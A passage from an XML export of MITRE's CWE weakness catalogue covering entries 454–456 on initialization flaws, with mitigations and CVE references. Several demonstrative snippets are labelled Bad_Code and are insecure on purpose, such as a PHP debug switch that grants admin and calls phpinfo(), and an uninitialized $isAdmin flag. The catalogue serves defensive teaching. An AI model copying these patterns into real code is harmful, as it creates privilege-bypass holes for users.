					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="454" Name="External Initialization of Trusted Variables or Data Stores" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software initializes critical internal variables or data
					stores using inputs that can be modified by untrusted
					actors.</Description_Summary>
				        <Extended_Description>
					          <Text>A software system should be reluctant to trust variables that have been
						initialized outside of its trust boundary, especially if they are
						initialized by users. They may have been initialized incorrectly. If an
						attacker can initialize the variable, then he/she can influence what the
						vulnerable system will do.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>808</Relationship_Target_ID>
					          <!--2010 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>665</Relationship_Target_ID>
					          <!--Improper Initialization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>452</Relationship_Target_ID>
					          <!--Initialization and Cleanup Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>456</Relationship_Target_ID>
					          <!--Missing Initialization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Overlaps Missing variable initialization, especially in PHP.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Prevalence="Sometimes" Language_Name="PHP"/>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
				        <Platform_Notes>
					          <Text>This is often found in PHP due to register_globals and the common practice
						of storing library/include files under the web document root so that they
						are available using a direct request.</Text>
				        </Platform_Notes>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could gain access to and modify sensitive data or system
							information.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>A software system should be reluctant to trust variables that have
							been initialized outside of its trust boundary. Ensure adequate checking
							(e.g. input validation) is performed when relying on input from outside
							a trust boundary.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Avoid any external control of variables. If necessary, restrict the
							variables that can be modified using a whitelist, and use a different
							namespace or naming convention if possible.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the Java example below, a system property controls the debug
						level of the application.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>int debugLevel =
								Integer.getInteger("com.domain.application.debugLevel").intValue();</Code>
						            </Block>
						            <Text>If an attacker is able to modify the system property, then it may be
							possible to coax the application into divulging sensitive information by
							virtue of the fact that additional debug information is printed/exposed
							as the debug level increases.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>This code checks the HTTP POST request for a debug switch, and
						enables a debug mode if the switch is set.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code> $debugEnabled = false;</Code>
							              <Code> if ($_POST["debug"] == "true"){</Code>
							              <Block>
								                <Code> $debugEnabled = true;</Code>
							              </Block>
							              <Code> }</Code>
							              <Comment>/.../</Comment>
							              <Code>function login($username, $password){</Code>
							              <Block>
								                <Code>if($debugEnabled){</Code>
								                <Block>
									                  <Code>echo 'Debug Activated';</Code>
									                  <Code>phpinfo();</Code>
									                  <Code>$isAdmin = True;</Code>
									                  <Code>return True;</Code>
								                </Block>
								                <Code> }</Code>
							              </Block>
							              <Code> }</Code>
						            </Block>
						            <Text>Any user can activate the debug mode, gaining administrator
							privileges. An attacker may also use the information printed by the
							phpinfo() function to further exploit the system. .</Text>
						            <Text>This example also exhibits Information Exposure Through Debug
							Information (CWE-215)</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0959</Observed_Example_Reference>
					          <Observed_Example_Description>Does not clear dangerous environment variables,
						enabling symlink attack.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0033</Observed_Example_Reference>
					          <Observed_Example_Description>Specify alternate configuration directory in
						environment variable, enabling untrusted
						path.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0872</Observed_Example_Reference>
					          <Observed_Example_Description>Dangerous environment variable not
						cleansed.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0084</Observed_Example_Reference>
					          <Observed_Example_Description>Specify arbitrary modules using environment
						variable.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>External initialization of trusted variables or
						values</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Description, Relationships,
						Other_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms,
						Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">External Initialization of
						Trusted Variables or Values</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-02-16">External Initialization of
						Trusted Variables</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="455" Name="Non-exit on Failed Initialization" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not exit or otherwise modify its operation
					when security-relevant errors occur during initialization, such as when a
					configuration file has a format error, which can cause the software to execute
					in a less secure fashion than intended by the
					administrator.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>665</Relationship_Target_ID>
					          <!--Improper Initialization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>452</Relationship_Target_ID>
					          <!--Initialization and Cleanup Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>705</Relationship_Target_ID>
					          <!--Incorrect Control Flow Scoping-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>636</Relationship_Target_ID>
					          <!--Not Failing Securely ('Failing Open')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The application could be placed in an insecure state that may allow an
							attacker to modify sensitive data or allow unintended logic to be
							executed.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Follow the principle of failing securely when an error occurs. The
							system should enter a state where it is not vulnerable and will not
							display sensitive error messages to a potential attacker.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-54">
					          <Intro_Text>The following code intends to limit certain operations to the
						administrator only.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>$username = GetCurrentUser();</Code>
							              <Code>$state = GetStateData($username);</Code>
							              <Code>if (defined($state)) {</Code>
							              <Block>
								                <Code>$uid = ExtractUserID($state);</Code>
							              </Block>
							              <Code>}</Code>
							              <Comment># do stuff</Comment>
							              <Code>if ($uid == 0) {</Code>
							              <Block>
								                <Code>DoAdminThings();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>If the application is unable to extract the state information - say,
							due to a database timeout - then the $uid variable will not be
							explicitly set by the programmer. This will cause $uid to be regarded as
							equivalent to "0" in the conditional, allowing the original user to
							perform administrator actions. Even if the attacker cannot directly
							influence the state data, unexpected errors could cause incorrect
							privileges to be assigned to a user just by accident.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1345</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not trigger a fatal error if missing
						or invalid ACLs are in a configuration file.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-studied. These issues are not frequently reported, and it is
						difficult to find published examples.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Non-exit on Failed Initialization</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="456" Name="Missing Initialization" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not initialize critical variables, which
					causes the execution environment to use unexpected values.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>867</Relationship_Target_ID>
					          <!--2011 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>808</Relationship_Target_ID>
					          <!--2010 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>665</Relationship_Target_ID>
					          <!--Improper Initialization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>452</Relationship_Target_ID>
					          <!--Initialization and Cleanup Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>89</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>120</Relationship_Target_ID>
					          <!--Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>98</Relationship_Target_ID>
					          <!--Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This weakness is a major factor in a number of resultant weaknesses,
						especially in web applications that allow global variable initialization
						(such as PHP) with libraries that can be directly requested.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The uninitialized data may be invalid, causing logic errors within the
							program. In some cases, this could result in a security problem.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Check that critical variables are initialized.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a static analysis tool to spot non-initialized variables.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Here, an uninitialized field in a Java class is used in a
						seldom-called method, which would cause a NullPointerException to be
						thrown.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>private User user;</Code>
							              <Code>public void someMethod() {</Code>
							              <Block>
								                <Comment>// Do something interesting.</Comment>
								                <Code>...</Code>
								                <Code/>
								                <Comment>// Throws NPE if user hasn't been properly
									initialized.</Comment>
								                <Code>String username = user.getName();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>This code first authenticates a user, then allows a delete command
						if the user is an administrator.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>if (authenticate($username,$password) &amp;&amp;
								setAdmin($username)){</Code>
							              <Block>
								                <Code>$isAdmin = true;</Code>
							              </Block>
							              <Code>}</Code>
							              <Comment>/.../</Comment>
							              <Code>if ($isAdmin){</Code>
							              <Block>
								                <Code>deleteUser($userToDelete);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The $isAdmin variable is set to true if the user is an admin, but is
							uninitialized otherwise. If PHP's register_globals feature is enabled,
							an attacker can set uninitialized variables like $isAdmin to arbitrary
							values, in this case gaining administrator privileges by setting
							$isAdmin to true. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In the following Java code the BankManager class uses the user
						variable of the class User to allow authorized users to perform bank manager
						tasks. The user variable is initialized within the method setUser that
						retrieves the User from the User database. The user is then authenticated as
						unauthorized user through the method authenticateUser.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class BankManager {</Code>
							              <Code/>
							              <Block>
								                <Comment>// user allowed to perform bank manager tasks</Comment>
								                <Code>private User user = null;</Code>
								                <Code>private boolean isUserAuthentic = false;</Code>
								                <Code/>
								                <Comment>// constructor for BankManager class</Comment>
								                <Code>public BankManager() {</Code>
								                <Block>
									                  <Code>...</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>// retrieve user from database of users</Comment>
								                <Code>public User getUserFromUserDatabase(String username){</Code>
								                <Block>
									                  <Code>...</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>// set user variable using username</Comment>
								                <Code>public void setUser(String username) {</Code>
								                <Block>
									                  <Code>this.user = getUserFromUserDatabase(username);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>// authenticate user</Comment>
								                <Code>public boolean authenticateUser(String username, String
									password) {</Code>
								                <Block>
									                  <Code>if (username.equals(user.getUsername()) &amp;&amp;
										password.equals(user.getPassword())) {</Code>
									                  <Block>
										                    <Code>isUserAuthentic = true;</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>return isUserAuthentic;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>// methods for performing bank manager tasks</Comment>
								                <Code>... </Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, if the method setUser is not called before authenticateUser
							then the user variable will not have been initialized and will result in
							a NullPointerException. The code should verify that the user variable
							has been initialized before it is used, as in the following code.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class BankManager {</Code>
							              <Code/>
							              <Block>
								                <Comment>// user allowed to perform bank manager tasks</Comment>
								                <Code>private User user = null;</Code>
								                <Code>private boolean isUserAuthentic = false;</Code>
								                <Code/>
								                <Comment>// constructor for BankManager class</Comment>
								                <Code>public BankManager(String username) {</Code>
								                <Block>
									                  <Code>user = getUserFromUserDatabase(username);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>// retrieve user from database of users</Comment>
								                <Code>public User getUserFromUserDatabase(String username)
									{...}</Code>
								                <Code/>
								                <Comment>// authenticate user</Comment>
								                <Code>public boolean authenticateUser(String username, String
									password) {</Code>
								                <Block>
									                  <Code>if (user == null) {</Code>
									                  <Block>
										                    <Code>System.out.println("Cannot find user " +
											username);</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>else {</Code>
									                  <Block>
										                    <Code>if (password.equals(user.getPassword())) {</Code>
										                    <Block>
											                      <Code>isUserAuthentic = true;</Code>
										                    </Block>
										                    <Code>}</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>return isUserAuthentic;</Code>
								                </Block>
								                <Code> }</Code>
								                <Code/>
								                <Block>
									                  <Comment>// methods for performing bank manager tasks</Comment>
									                  <Code>... </Code>
								                </Block>
								                <Code/>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2978</Observed_Example_Reference>
					          <Observed_Example_Description>Product uses uninitialized variables for size and
						index, leading to resultant buffer overflow.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2109</Observed_Example_Reference>
					          <Observed_Example_Description>Internal variable in PHP application is not
						initialized, allowing external modification.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2193</Observed_Example_Reference>
					          <Observed_Example_Description>Array variable not initialized in PHP application,
						leading to resultant SQL injection.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>It is highly likely that a large number of resultant weaknesses have
						missing initialization as a primary factor, but researcher reports generally
						do not provide this level of detail.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 7, "Variable Initialization", Page
						312.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Missing Initialization</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
